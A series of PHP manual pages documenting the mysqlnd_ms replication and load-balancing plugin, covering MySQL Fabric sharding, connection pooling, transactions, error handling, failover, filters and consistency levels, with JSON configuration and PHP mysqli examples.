Work on supporting MySQL Fabric started in version 1.6. Please, consider the support to be of pre-alpha quality. The manual may not list all features or feature limitations. This is work in progress.

Sharding is the only use case supported by the plugin to date.

Note: MySQL Fabric concepts

Please, check the MySQL reference manual for more information about MySQL Fabric and how to set it up. The PHP manual assumes that you are familiar with the basic concepts and ideas of MySQL Fabric.

MySQL Fabric is a system for managing farms of MySQL servers to achive High Availability and optionally support sharding. Technically, it is a middleware to manage and monitor MySQL servers.

Clients query MySQL Fabric to obtain lists of MySQL servers, their state and their roles. For example, clients can request a list of slaves for a MySQL Replication group and whether they are ready to handle SQL requests. Another example is a cluster of sharded MySQL servers where the client seeks to know which shard to query for a given table and shard key. If configured to use Fabric, the plugin uses XML RCP over HTTP to obtain the list at runtime from a MySQL Fabric host. The XML remote procedure call itself is done in the background and transparent from a developers point of view.

Instead of listing MySQL servers directly in the plugins configuration file it contains a list of one or more MySQL Fabric hosts

Example #1 Plugin config: Fabric hosts instead of MySQL servers

{
    "myapp": {
        "fabric": {
            "hosts": [
                {
                    "host" : "127.0.0.1",
                    "port" : 8080
                }
            ]
        }
    }
}

Users utilize the new functions mysqlnd_ms_fabric_select_shard() and mysqlnd_ms_fabric_select_global() to switch to the set of servers responsible for a given shard key. Then, the plugin picks an appropriate server for running queries on. When doing so, the plugin takes care of additional load balancing rules set.

The below example assumes that MySQL Fabric has been setup to shard the table test.fabrictest using the id column of the table as a shard key.

Example #2 Manual partitioning using SQL hints

<?php
$mysqli = new mysqli("myapp", "user", "password", "database");
if (!$mysqli)
  /* Of course, your error handling is nicer... */
  die(sprintf("[%d] %s\n", mysqli_connect_errno(), mysqli_connect_error()));

/* Create a global table - a table available on all shards */
mysqlnd_ms_fabric_select_global($mysqli, "test.fabrictest");
if (!$mysqli->query("CREATE TABLE test.fabrictest(id INT NOT NULL PRIMARY KEY)"))
 die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));

/* Switch connection to appropriate shard and insert record */
mysqlnd_ms_fabric_select_shard($mysqli, "test.fabrictest", 10);
if (!($res = $mysqli->query("INSERT INTO fabrictest(id) VALUES (10)")))
 die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));

/* Try to read newly inserted record */
mysqlnd_ms_fabric_select_shard($mysqli, "test.fabrictest", 10);
if (!($res = $mysqli->query("SELECT id FROM test WHERE id = 10")))
 die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));
?>

The example creates the sharded table, inserts a record and reads the record thereafter. All SQL data definition language (DDL) operations on a sharded table must be applied to the so called global server group. Prior to creatingor altering a sharded table, mysqlnd_ms_fabric_select_global() is called to switch the given connection to the corresponsing servers of the global group. Data manipulation (DML) SQL statements must be sent to the shards directly. The mysqlnd_ms_fabric_select_shard() switches a connection to shards handling a certain shard key.

User Contributed Notes

There are no user contributed notes for this page.


Concepts

Table of Contents

  • Architecture
  • Connection pooling and switching
  • Local transaction handling
  • Error handling
  • Transient errors
  • Failover
  • Load balancing
  • Read-write splitting
  • Filter
  • Service level and consistency
  • Global transaction IDs
  • Cache integration
  • Supported clusters
  • XA/Distributed transactions

This explains the architecture and related concepts for this plugin, and describes the impact that MySQL replication and this plugin have on developmental tasks while using a database cluster. Reading and understanding these concepts is required, in order to use this plugin with success.

User Contributed Notes

There are no user contributed notes for this page.


Architecture

The mysqlnd replication and load balancing plugin is implemented as a PHP extension. It is written in C and operates under the hood of PHP. During the startup of the PHP interpreter, in the module init phase of the PHP engine, it gets registered as a mysqlnd plugin to replace selected mysqlnd C methods.

At PHP runtime, it inspects queries sent from mysqlnd (PHP) to the MySQL server. If a query is recognized as read-only, it will be sent to one of the configured slave servers. Statements are considered read-only if they either start with SELECT, the SQL hint /*ms=slave*/ or a slave had been chosen for running the previous query, and the query started with the SQL hint /*ms=last_used*/. In all other cases, the query will be sent to the MySQL replication master server.

For better portability, applications should use the MYSQLND_MS_MASTER_SWITCH, MYSQLND_MS_SLAVE_SWITCH, and MYSQLND_MS_LAST_USED_SWITCH predefined mysqlnd_ms constants, instead of their literal values, such as /*ms=slave*/.

The plugin handles the opening and closing of database connections to both master and slave servers. From an application point of view, there continues to be only one connection handle. However, internally, this one public connection handle represents a pool of network connections that are managed by the plugin. The plugin proxies queries to the master server, and to the slaves using multiple connections.

Database connections have a state consisting of, for example, transaction status, transaction settings, character set settings, and temporary tables. The plugin will try to maintain the same state among all internal connections, whenever this can be done in an automatic and transparent way. In cases where it is not easily possible to maintain state among all connections, such as when using BEGIN TRANSACTION, the plugin leaves it to the user to handle.

User Contributed Notes

There are no user contributed notes for this page.


Connection pooling and switching

The replication and load balancing plugin changes the semantics of a PHP MySQL connection handle. The existing API of the PHP MySQL extensions (mysqli, mysql, and PDO_MYSQL) are not changed in a way that functions are added or removed. But their behaviour changes when using the plugin. Existing applications do not need to be adapted to a new API, but they may need to be modified because of the behaviour changes.

The plugin breaks the one-by-one relationship between a mysqli, mysql, and PDO_MYSQL connection handle and a MySQL network connection. And a mysqli, mysql, and PDO_MYSQL connection handle represents a local pool of connections to the configured MySQL replication master and MySQL replication slave servers. The plugin redirects queries to the master and slave servers. At some point in time one and the same PHP connection handle may point to the MySQL master server. Later on, it may point to one of the slave servers or still the master. Manipulating and replacing the network connection referenced by a PHP MySQL connection handle is not a transparent operation.

Every MySQL connection has a state. The state of the connections in the connection pool of the plugin can differ. Whenever the plugin switches from one wire connection to another, the current state of the user connection may change. The applications must be aware of this.

The following list shows what the connection state consists of. The list may not be complete.

  • Transaction status
  • Temporary tables
  • Table locks
  • Session system variables and session user variables
  • The current database set using USE and other state chaining SQL commands
  • Prepared statements
  • HANDLER variables
  • Locks acquired with GET_LOCK()

Connection switches happen right before queries are executed. The plugin does not switch the current connection until the next statement is executed.

Note: Replication issues

See also the MySQL reference manual chapter about » replication features and related issues. Some restrictions may not be related to the PHP plugin, but are properties of the MySQL replication system.

Broadcasted messages

The plugins philosophy is to align the state of connections in the pool only if the state is under full control of the plugin, or if it is necessary for security reasons. Just a few actions that change the state of the connection fall into this category.

The following is a list of connection client library calls that change state, and are broadcasted to all open connections in the connection pool.

If any of the listed calls below are to be executed, the plugin loops over all open master and slave connections. The loop continues until all servers have been contacted, and the loop does not break if a server indicates a failure. If possible, the failure will propagate to the called user API function, which may be detected depending on which underlying library function was triggered.

Library call | Notes | Version
change_user() | Called by the mysqli_change_user() user API call. Also triggered upon reuse of a persistent mysqli connection. | Since 1.0.0.
select_db | Called by the following user API calls: mysql_select_db(), mysql_list_tables(), mysql_db_query(), mysql_list_fields(), mysqli_select_db(). Note, that SQL USE is not monitored. | Since 1.0.0.
set_charset() | Called by the following user API calls: mysql_set_charset(). mysqli_set_charset(). Note, that SQL SET NAMES is not monitored. | Since 1.0.0.
set_server_option() | Called by the following user API calls: mysqli_multi_query(), mysqli_real_query(), mysqli_query(), mysql_query(). | Since 1.0.0.
set_client_option() | Called by the following user API calls: mysqli_options(), mysqli_ssl_set(), mysqli_connect(), mysql_connect(), mysql_pconnect(). | Since 1.0.0.
set_autocommit() | Called by the following user API calls: mysqli_autocommit(), PDO::setAttribute(PDO::ATTR_AUTOCOMMIT). | Since 1.0.0. PHP >= 5.4.0.
ssl_set() | Called by the following user API calls: mysqli_ssl_set(). | Since 1.1.0.

Broadcasting and lazy connections

The plugin does not proxy or "remember" all settings to apply them on connections opened in the future. This is important to remember, if using lazy connections. Lazy connections are connections which are not opened before the client sends the first connection. Use of lazy connections is the default plugin action.

The following connection library calls each changed state, and their execution is recorded for later use when lazy connections are opened. This helps ensure that the connection state of all connections in the connection pool are comparable.

Library call | Notes | Version
change_user() | User, password and database recorded for future use. | Since 1.1.0.
select_db | Database recorded for future use. | Since 1.1.0.
set_charset() | Calls set_client_option(MYSQL_SET_CHARSET_NAME, charset) on lazy connection to ensure charset will be used upon opening the lazy connection. | Since 1.1.0.
set_autocommit() | Adds SET AUTOCOMMIT=0|1 to the list of init commands of a lazy connection using set_client_option(MYSQL_INIT_COMMAND, "SET AUTOCOMMIT=...%quot;). | Since 1.1.0. PHP >= 5.4.0.
Caution

Connection state

The connection state is not only changed by API calls. Thus, even if PECL mysqlnd_ms monitors all API calls, the application must still be aware. Ultimately, it is the applications responsibility to maintain the connection state, if needed.

Charsets and string escaping

Due to the use of lazy connections, which are a default, it can happen that an application tries to escape a string for use within SQL statements before a connection has been established. In this case string escaping is not possible. The string escape function does not know what charset to use before a connection has been established.

To overcome the problem a new configuration setting server_charset has been introduced in version 1.4.0.

Attention has to be paid on escaping strings with a certain charset but using the result on a connection that uses a different charset. Please note, that PECL/mysqlnd_ms manipulates connections and one application level connection represents a pool of multiple connections that all may have different default charsets. It is recommended to configure the servers involved to use the same default charsets. The configuration setting server_charset does help with this situation as well. If using server_charset, the plugin will set the given charset on all newly opened connections.

User Contributed Notes

There are no user contributed notes for this page.


Local transaction handling

Transaction handling is fundamentally changed. An SQL transaction is a unit of work that is run on one database server. The unit of work consists of one or more SQL statements.

By default the plugin is not aware of SQL transactions. The plugin may switch connections for load balancing at any point in time. Connection switches may happen in the middle of a transaction. This is against the nature of an SQL transaction. By default, the plugin is not transaction safe.

Any kind of MySQL load balancer must be hinted about the begin and end of a transaction. Hinting can either be done implicitly by monitoring API calls or using SQL hints. Both options are supported by the plugin, depending on your PHP version. API monitoring requires PHP 5.4.0 or newer. The plugin, like any other MySQL load balancer, cannot detect transaction boundaries based on the MySQL Client Server Protocol. Thus, entirely transparent transaction aware load balancing is not possible. The least intrusive option is API monitoring, which requires little to no application changes, depending on your application.

Please, find examples of using SQL hints or the API monitoring in the examples section. The details behind the API monitoring, which makes the plugin transaction aware, are described below.

Beginning with PHP 5.4.0, the mysqlnd library allows this plugin to subclass the library C API call set_autocommit(), to detect the status of autocommit mode.

The PHP MySQL extensions either issue a query (such as SET AUTOCOMMIT=0|1), or use the mysqlnd library call set_autocommit() to control the autocommit setting. If an extension makes use of set_autocommit(), the plugin can be made transaction aware. Transaction awareness cannot be achieved if using SQL to set the autocommit mode. The library function set_autocommit() is called by the mysqli_autocommit() and PDO::setAttribute(PDO::ATTR_AUTOCOMMIT) user API calls.

The plugin configuration option trx_stickiness=master can be used to make the plugin transactional aware. In this mode, the plugin stops load balancing if autocommit becomes disabled, and directs all statements to the master until autocommit gets enabled.

An application that does not want to set SQL hints for transactions but wants to use the transparent API monitoring to avoid application changes must make sure that the autocommit settings is changed exclusively through the listed API calls.

API based transaction boundary detection has been improved with PHP 5.5.0 and PECL/mysqlnd_ms 1.5.0 to cover not only calls to mysqli_autocommit() but also mysqli_begin(), mysqli_commit() and mysqli_rollback().

User Contributed Notes

There are no user contributed notes for this page.


Error handling

Applications using PECL/mysqlnd_ms should implement proper error handling for all user API calls. And because the plugin changes the semantics of a connection handle, API calls may return unexpected errors. If using the plugin on a connection handle that no longer represents an individual network connection, but a connection pool, an error code and error message will be set on the connection handle whenever an error occurs on any of the network connections behind.

If using lazy connections, which is the default, connections are not opened until they are needed for query execution. Therefore, an API call for a statement execution may return a connection error. In the example below, an error is provoked when trying to run a statement on a slave. Opening a slave connection fails because the plugin configuration file lists an invalid host name for the slave.

Example #1 Provoking a connection error

{
    "myapp": {
        "master": {
            "master_0": {
                "host": "localhost",
                "socket": "\/tmp\/mysql.sock"
            }
        },
        "slave": {
            "slave_0": {
                "host": "invalid_host_name",
            }
        },
        "lazy_connections": 1
    }
}

The explicit activation of lazy connections is for demonstration purpose only.

Example #2 Connection error on query execution

<?php
$mysqli = new mysqli("myapp", "username", "password", "database");
if (mysqli_connect_errno())
  /* Of course, your error handling is nicer... */
  die(sprintf("[%d] %s\n", mysqli_connect_errno(), mysqli_connect_error()));

/* Connection 1, connection bound SQL user variable, no SELECT thus run on master */
if (!$mysqli->query("SET @myrole='master'")) {
 printf("[%d] %s\n", $mysqli->errno, $mysqli->error);
}

/* Connection 2, run on slave because SELECT, provoke connection error */
if (!($res = $mysqli->query("SELECT @myrole AS _role"))) {
 printf("[%d] %s\n", $mysqli->errno, $mysqli->error);
} else {
 $row = $res->fetch_assoc();
 $res->close();
 printf("@myrole = '%s'\n", $row['_role']);
}
$mysqli->close();
?>

The above example will output something similar to:

PHP Warning:  mysqli::query(): php_network_getaddresses: getaddrinfo failed: Name or service not known in %s on line %d
PHP Warning:  mysqli::query(): [2002] php_network_getaddresses: getaddrinfo failed: Name or service not known (trying to connect via tcp://invalid_host_name:3306) in %s on line %d
[2002] php_network_getaddresses: getaddrinfo failed: Name or service not known

Applications are expected to handle possible connection errors by implementing proper error handling.

Depending on the use case, applications may want to handle connection errors differently from other errors. Typical connection errors are 2002 (CR_CONNECTION_ERROR) - Can't connect to local MySQL server through socket '%s' (%d), 2003 (CR_CONN_HOST_ERROR) - Can't connect to MySQL server on '%s' (%d) and 2005 (CR_UNKNOWN_HOST) - Unknown MySQL server host '%s' (%d). For example, the application may test for the error codes and manually perform a fail over. The plugins philosophy is not to offer automatic fail over, beyond master fail over, because fail over is not a transparent operation.

Example #3 Provoking a connection error

{
    "myapp": {
        "master": {
            "master_0": {
                "host": "localhost"
            }
        },
        "slave": {
            "slave_0": {
                "host": "invalid_host_name"
            },
            "slave_1": {
                "host": "192.168.78.136"
            }
        },
        "lazy_connections": 1,
        "filters": {
            "roundrobin": [

            ]
        }
    }
}

Explicitly activating lazy connections is done for demonstration purposes, as is round robin load balancing as opposed to the default random once type.

Example #4 Most basic failover

<?php
$mysqli = new mysqli("myapp", "username", "password", "database");
if (mysqli_connect_errno())
  /* Of course, your error handling is nicer... */
  die(sprintf("[%d] %s\n", mysqli_connect_errno(), mysqli_connect_error()));

/* Connection 1, connection bound SQL user variable, no SELECT thus run on master */
if (!$mysqli->query("SET @myrole='master'")) {
 printf("[%d] %s\n", $mysqli->errno, $mysqli->error);
}

/* Connection 2, first slave */
$res = $mysqli->query("SELECT VERSION() AS _version");
/* Hackish manual fail over */
if (2002 == $mysqli->errno || 2003 == $mysqli->errno || 2004 == $mysqli->errno) {
  /* Connection 3, first slave connection failed, trying next slave */
  $res = $mysqli->query("SELECT VERSION() AS _version");
}

if (!$res) {
  printf("ERROR, [%d] '%s'\n", $mysqli->errno, $mysqli->error);
} else {
 /* Error messages are taken from connection 3, thus no error */
 printf("SUCCESS, [%d] '%s'\n", $mysqli->errno, $mysqli->error);
 $row = $res->fetch_assoc();
 $res->close();
 printf("version = %s\n", $row['_version']);
}
$mysqli->close();
?>

The above example will output something similar to:

[1045] Access denied for user 'username'@'localhost' (using password: YES)
PHP Warning:  mysqli::query(): php_network_getaddresses: getaddrinfo failed: Name or service not known in %s on line %d
PHP Warning:  mysqli::query(): [2002] php_network_getaddresses: getaddrinfo failed: Name or service not known (trying to connect via tcp://invalid_host_name:3306) in %s on line %d
SUCCESS, [0] ''
version = 5.6.2-m5-log

In some cases, it may not be easily possible to retrieve all errors that occur on all network connections through a connection handle. For example, let's assume a connection handle represents a pool of three open connections. One connection to a master and two connections to the slaves. The application changes the current database using the user API call mysqli_select_db(), which then calls the mysqlnd library function to change the schemata. mysqlnd_ms monitors the function, and tries to change the current database on all connections to harmonize their state. Now, assume the master succeeds in changing the database, and both slaves fail. Upon the initial error from the first slave, the plugin will set an appropriate error on the connection handle. The same is done when the second slave fails to change the database. The error message from the first slave is lost.

Such cases can be debugged by either checking for errors of the type E_WARNING (see above) or, if no other option, investigation of the mysqlnd_ms debug and trace log.

User Contributed Notes

There are no user contributed notes for this page.


Transient errors

Some distributed database clusters make use of transient errors. A transient error is a temporary error that is likely to disappear soon. By definition it is safe for a client to ignore a transient error and retry the failed operation on the same database server. The retry is free of side effects. Clients are not forced to abort their work or to fail over to another database server immediately. They may enter a retry loop before to wait for the error to disappear before giving up on the database server. Transient errors can be seen, for example, when using MySQL Cluster. But they are not bound to any specific clustering solution per se.

PECL/mysqlnd_ms can perform an automatic retry loop in case of a transient error. This increases distribution transparency and thus makes it easier to migrate an application running on a single database server to run on a cluster of database servers without having to change the source of the application.

The automatic retry loop will repeat the requested operation up to a user configurable number of times and pause between the attempts for a configurable amount of time. If the error disappears during the loop, the application will never see it. If not, the error is forwarded to the application for handling.

In the example below a duplicate key error is provoked to make the plugin retry the failing query two times before the error is passed to the application. Between the two attempts the plugin sleeps for 100 milliseconds.

Example #1 Provoking a transient error

mysqlnd_ms.enable=1
mysqlnd_ms.collect_statistics=1
{
    "myapp": {
        "master": {
            "master_0": {
                "host": "localhost"
            }
        },
        "slave": {
            "slave_0": {
                "host": "192.168.78.136",
                "port": "3306"
            }
       },
       "transient_error": {
          "mysql_error_codes": [
            1062
          ],
          "max_retries": 2,
          "usleep_retry": 100
       }
    }
}

Example #2 Transient error retry loop

<?php
$mysqli = new mysqli("myapp", "username", "password", "database");
if (mysqli_connect_errno())
  /* Of course, your error handling is nicer... */
  die(sprintf("[%d] %s\n", mysqli_connect_errno(), mysqli_connect_error()));

if (!$mysqli->query("DROP TABLE IF EXISTS test") ||
    !$mysqli->query("CREATE TABLE test(id INT PRIMARY KEY)") ||
    !$mysqli->query("INSERT INTO test(id) VALUES (1))")) {
  printf("[%d] %s\n", $mysqli->errno, $mysqli->error);
}

/* Retry loop is completely transparent. Checking statistics is
 the only way to know about implicit retries */
$stats = mysqlnd_ms_get_stats();
printf("Transient error retries before error: %d\n", $stats['transient_error_retries']);

/* Provoking duplicate key error to see statistics change */
if (!$mysqli->query("INSERT INTO test(id) VALUES (1))")) {
  printf("[%d] %s\n", $mysqli->errno, $mysqli->error);
}

$stats = mysqlnd_ms_get_stats();
printf("Transient error retries after error: %d\n", $stats['transient_error_retries']);

$mysqli->close();
?>

The above example will output something similar to:

Transient error retries before error: 0
[1062] Duplicate entry '1' for key 'PRIMARY'
Transient error retries before error: 2

Because the execution of the retry loop is transparent from a users point of view, the example checks the statistics provided by the plugin to learn about it.

As the example shows, the plugin can be instructed to consider any error transient regardless of the database servers error semantics. The only error that a stock MySQL server considers temporary has the error code 1297. When configuring other error codes but 1297 make sure your configuration reflects the semantics of your clusters error codes.

The following mysqlnd C API calls are monitored by the plugin to check
for transient errors: query(),
change_user(), select_db(),
set_charset(), set_server_option()
prepare(), execute(),
set_autocommit(),
tx_begin(), tx_commit(),
tx_rollback(), tx_commit_or_rollback().
The corresponding user API calls have similar names.

The maximum time the plugin may sleep during the retry loop depends on the function in question. The a retry loop for query(), prepare() or execute() will sleep for up to max_retries * usleep_retry milliseconds.

However, functions that control connection state are dispatched to all connections. The retry loop settings are applied to every connection on which the command is to be run. Thus, such a function may interrupt program execution for longer than a function that is run on one server only. For example, set_autocommit() is dispatched to connections and may sleep up to (max_retries * usleep_retry) * number_of_open_connections) milliseconds. Please, keep this in mind when setting long sleep times and large retry numbers. Using the default settings of max_retries=1, usleep_retry=100 and lazy_connections=1 it is unlikely that you will ever see a delay of more than 1 second.

User Contributed Notes

There are no user contributed notes for this page.


Failover

By default, connection failover handling is left to the user. The application is responsible for checking return values of the database functions it calls and reacting to possible errors. If, for example, the plugin recognizes a query as a read-only query to be sent to the slave servers, and the slave server selected by the plugin is not available, the plugin will raise an error after not executing the statement.

Default: manual failover

It is up to the application to handle the error and, if required, re-issue the query to trigger the selection of another slave server for statement execution. The plugin will make no attempts to failover automatically, because the plugin cannot ensure that an automatic failover will not change the state of the connection. For example, the application may have issued a query which depends on SQL user variables which are bound to a specific connection. Such a query might return incorrect results if the plugin would switch the connection implicitly as part of automatic failover. To ensure correct results, the application must take care of the failover, and rebuild the required connection state. Therefore, by default, no automatic failover is performed by the plugin.

A user that does not change the connection state after opening a connection may activate automatic failover. Please note, that automatic failover logic is limited to connection attempts. Automatic failover is not used for already established connections. There is no way to instruct the plugin to attempt failover on a connection that has been connected to MySQL already in the past.

Automatic failover

The failover policy is configured in the plugins configuration file, by using the failover configuration directive.

Automatic and silent failover can be enabled through the failover configuration directive. Automatic failover can either be configured to try exactly one master after a slave failure or, alternatively, loop over slaves and masters before returning an error to the user. The number of connection attempts can be limited and failed hosts can be excluded from future load balancing attempts. Limiting the number of retries and remembering failed hosts are considered experimental features, albeit being reasonable stable. Syntax and semantics may change in future versions.

Please note, since version 1.5.0 automatic failover is disabled for the duration of a transaction if transaction stickiness is enabled and transaction boundaries have been detected. The plugin will not switch connections for the duration of a transaction. It will also not perform automatic and silent failover. Instead an error will be thrown. It is then left to the user to handle the failure of the transaction. Please check, the trx_stickiness documentation how to do this.

A basic manual failover example is provided within the error handling section.

Standby servers

Using weighted load balancing, introduced in PECL/mysqlnd 1.4.0, it is possible to configure standby servers that are sparsely used during normal operations. A standby server that is primarily used as a worst-case standby failover target can be assigned a very low weight/priority in relation to all other servers. As long as all servers are up and running the majority of the workload is assigned to the servers which have hight weight values. Few requests will be directed to the standby system which has a very low weight value.

Upon failure of the servers with a high priority, you can still failover to the standby, which has been given a low load balancing priority by assigning a low weight to it. Failover can be some manually or automatically. If done automatically, you may want to combine it with the remember_failed option.

At this point, it is not possible to instruct the load balancer to direct no requests at all to a standby. This may not be much of a limitation given that the highest weight you can assign to a server is 65535. Given two slaves, of which one shall act as a standby and has been assigned a weight of 1, the standby will have to handle far less than one percent of the overall workload.

Failover and primary copy

Please note, if using a primary copy cluster, such as MySQL Replication, it is difficult to do connection failover in case of a master failure. At any time there is only one master in the cluster for a given dataset. The master is a single point of failure. If the master fails, clients have no target to fail over write requests. In case of a master outage the database administrator must take care of the situation and update the client configurations, if need be.

User Contributed Notes

There are no user contributed notes for this page.


Load balancing

Four load balancing strategies are supported to distribute statements over the configured MySQL slave servers:

random

Chooses a random server whenever a statement is executed.

random once (default)

Chooses a random server after the first statement is executed, and uses the decision for the rest of the PHP request.

It is the default, and the lowest impact on the connection state.

round robin

Iterates over the list of configured servers.

user-defined via callback

Is used to implement any other strategy.

The load balancing policy is configured in the plugins configuration file using the random, roundrobin, and user filters.

Servers can be prioritized assigning a weight. A server that has been given a weight of two will get twice as many requests as a server that has been given the default weight of one. Prioritization can be handy in heterogenous environments. For example, you may want to assign more requests to a powerful machine than to a less powerful. Or, you may have configured servers that are close or far from the client, thus expose different latencies.

User Contributed Notes

There are no user contributed notes for this page.


Read-write splitting

The plugin executes read-only statements on the configured MySQL slaves, and all other queries on the MySQL master. Statements are considered read-only if they either start with SELECT, the SQL hint /*ms=slave*/, or if a slave had been chosen for running the previous query and the query starts with the SQL hint /*ms=last_used*/. In all other cases, the query will be sent to the MySQL replication master server. It is recommended to use the constants MYSQLND_MS_SLAVE_SWITCH, MYSQLND_MS_MASTER_SWITCH and MYSQLND_MS_LAST_USED_SWITCH instead of /*ms=slave*/. See also the list of mysqlnd_ms constants.

SQL hints are a special kind of standard compliant SQL comments. The plugin does check every statement for certain SQL hints. The SQL hints are described within the mysqlnd_ms constants documentation, constants that are exported by the extension. Other systems involved with the statement processing, such as the MySQL server, SQL firewalls, and SQL proxies, are unaffected by the SQL hints, because those systems are designed to ignore SQL comments.

The built-in read-write splitter can be replaced by a user-defined filter, see also the user filter documentation.

A user-defined read-write splitter can request the built-in logic to send a statement to a specific location, by invoking mysqlnd_ms_is_select().

Note:

The built-in read-write splitter is not aware of multi-statements. Multi-statements are seen as one statement. The splitter will check the beginning of the statement to decide where to run the statement. If, for example, a multi-statement begins with SELECT 1 FROM DUAL; INSERT INTO test(id) VALUES (1); ... the plugin will run it on a slave although the statement is not read-only.

User Contributed Notes

There are no user contributed notes for this page.


Filter

Note: Version requirement

Filters exist as of mysqlnd_ms version 1.1.0-beta.

filters. PHP applications that implement a MySQL replication cluster must first identify a group of servers in the cluster which could execute a statement before the statement is executed by one of the candidates. In other words: a defined list of servers must be filtered until only one server is available.

The process of filtering may include using one or more filters, and filters can be chained. And they are executed in the order they are defined in the plugins configuration file.

Note: Explanation: comparing filter chaining to pipes

The concept of chained filters can be compared to using pipes to connect command line utilities on an operating system command shell. For example, an input stream is passed to a processor, filtered, and then transferred to be output. Then, the output is passed as input to the next command, which is connected to the previous using the pipe operator.

Available filters:

  • Load balancing filters: random and roundrobin.
  • Selection filter: user, user_multi, quality_of_service.

The random filter implements the 'random' and 'random once' load balancing policies. The 'round robin' load balancing can be configured through the roundrobin filter. Setting a 'user defined callback' for server selection is possible with the user filter. The quality_of_service filter finds cluster nodes capable of delivering a certain service, for example, read-your-writes or, not lagging more seconds behind the master than allowed.

Filters can accept parameters to change their behaviour. The random filter accepts an optional sticky parameter. If set to true, the filter changes load balancing from random to random once. Random picks a random server every time a statement is to be executed. Random once picks a random server when the first statement is to be executed and uses the same server for the rest of the PHP request.

One of the biggest strength of the filter concept is the possibility to chain filters. This strength does not become immediately visible because tje random, roundrobin and user filters are supposed to output no more than one server. If a filter reduces the list of candidates for running a statement to only one server, it makes little sense to use that one server as input for another filter for further reduction of the list of candidates.

An example filter sequence that will fail:

  • Statement to be executed: SELECT 1 FROM DUAL. Passed to all filters.
  • All configured nodes are passed as input to the first filter. Master nodes: master_0. Slave nodes:slave_0, slave_1
  • Filter: random, argument sticky=1. Picks a random slave once to be used for the rest of the PHP request. Output: slave_0.
  • Output of slave_0 and the statement to be executed is passed as input to the next filter. Here: roundrobin, server list passed to filter is: slave_0.
  • Filter: roundrobin. Server list consists of one server only, round robin will always return the same server.
If trying to use such a filter sequence, the plugin may emit a warning like (mysqlnd_ms) Error while creating filter '%s' . Non-multi filter '%s' already created. Stopping in %s on line %d. Furthermore, an appropriate error on the connection handle may be set.

A second type of filter exists: multi filter. A multi filter emits zero, one or multiple servers after processing. The quality_of_service filter is an example. If the service quality requested sets an upper limit for the slave lag and more than one slave is lagging behind less than the allowed number of seconds, the filter returns more than one cluster node. A multi filter must be followed by other to further reduce the list of candidates for statement execution until a candidate is found.

A filter sequence with the quality_of_service multi filter followed by a load balancing filter.

  • Statement to be executed: SELECT sum(price) FROM orders WHERE order_id = 1. Passed to all filters.
  • All configured nodes are passed as input to the first filter. Master nodes: master_0. Slave nodes: slave_0, slave_1, slave_2, slave_3
  • Filter: quality_of_service, rule set: session_consistency (read-your-writes) Output: master_0
  • Output of master_0 and the statement to be executed is passed as input to the next filter, which is roundrobin.
  • Filter: roundrobin. Server list consists of one server. Round robin selects master_0.

A filter sequence must not end with a multi filter. If trying to use a filter sequence which ends with a multi filter the plugin may emit a warning like (mysqlnd_ms) Error in configuration. Last filter is multi filter. Needs to be non-multi one. Stopping in %s on line %d. Furthermore, an appropriate error on the connection handle may be set.

Note: Speculation towards the future: MySQL replication filtering

In future versions, there may be additional multi filters. For example, there may be a table filter to support MySQL replication filtering. This would allow you to define rules for which database or table is to be replicated to which node of a replication cluster. Assume your replication cluster consists of four slaves (slave_0, slave_1, slave_2, slave_3) two of which replicate a database named sales (slave_0, slave_1). If the application queries the database slaves, the hypothetical table filter reduces the list of possible servers to slave_0 and slave_1. Because the output and list of candidates consists of more than one server, it is necessary and possible to add additional filters to the candidate list, for example, using a load balancing filter to identify a server for statement execution.

User Contributed Notes

There are no user contributed notes for this page.


Service level and consistency

Note: Version requirement

Service levels have been introduced in mysqlnd_ms version 1.2.0-alpha. mysqlnd_ms_set_qos() requires PHP 5.4.0 or newer.

The plugin can be used with different kinds of MySQL database clusters. Different clusters can deliver different levels of service to applications. The service levels can be grouped by the data consistency levels that can be achieved. The plugin knows about:

  • eventual consistency
  • session consistency
  • strong consistency

Depending how a cluster is used it may be possible to achieve higher service levels than the default one. For example, a read from an asynchronous MySQL replication slave is eventual consistent. Thus, one may say the default consistency level of a MySQL replication cluster is eventual consistency. However, if the master only is used by a client for reading and writing during a session, session consistency (read your writes) is given. PECL mysqlnd 1.2.0 abstracts the details of choosing an appropriate node for any of the above service levels from the user.

Service levels can be set through the qualify-of-service filter in the plugins configuration file and at runtime using the function mysqlnd_ms_set_qos().

The plugin defines the different service levels as follows.

Eventual consistency is the default service provided by an asynchronous cluster, such as classical MySQL replication. A read operation executed on an arbitrary node may or may not return stale data. The applications view of the data is eventual consistent.

Session consistency is given if a client can always read its own writes. An asynchronous MySQL replication cluster can deliver session consistency if clients always use the master after the first write or never query a slave which has not yet replicated the clients write operation.

The plugins understanding of strong consistency is that all clients always see the committed writes of all other clients. This is the default when using MySQL Cluster or any other cluster offering synchronous data distribution.

Service level parameters

Eventual consistency and session consistency service level accept parameters.

Eventual consistency is the service provided by classical MySQL replication. By default, all nodes qualify for read requests. An optional age parameter can be given to filter out nodes which lag more than a certain number of seconds behind the master. The plugin is using SHOW SLAVE STATUS to measure the lag. Please, see the MySQL reference manual to learn about accuracy and reliability of the SHOW SLAVE STATUS command.

Session consistency (read your writes) accepts an optional GTID parameter to consider reading not only from the master but also from slaves which already have replicated a certain write described by its transaction identifier. This way, when using asynchronous MySQL replication, read requests may be load balanced over slaves while still ensuring session consistency.

The latter requires the use of client-side global transaction id injection.

Advantages of the new approach

The new approach supersedes the use of SQL hints and the configuration option master_on_write in some respects. If an application running on top of an asynchronous MySQL replication cluster cannot accept stale data for certain reads, it is easier to tell the plugin to choose appropriate nodes than prefixing all read statements in question with the SQL hint to enforce the use of the master. Furthermore, the plugin may be able to use selected slaves for reading.

The master_on_write configuration option makes the plugin use the master after the first write (session consistency, read your writes). In some cases, session consistency may not be needed for the rest of the session but only for some, few read operations. Thus, master_on_write may result in more read load on the master than necessary. In those cases it is better to request a higher than default service level only for those reads that actually need it. Once the reads are done, the application can return to default service level. Switching between service levels is only possible using mysqlnd_ms_set_qos().

Performance considerations

A MySQL replication cluster cannot tell clients which slaves are capable of delivering which level of service. Thus, in some cases, clients need to query the slaves to check their status. PECL mysqlnd_ms transparently runs the necessary SQL in the background. However, this is an expensive and slow operation. SQL statements are run if eventual consistency is combined with an age (slave lag) limit and if session consistency is combined with a global transaction ID.

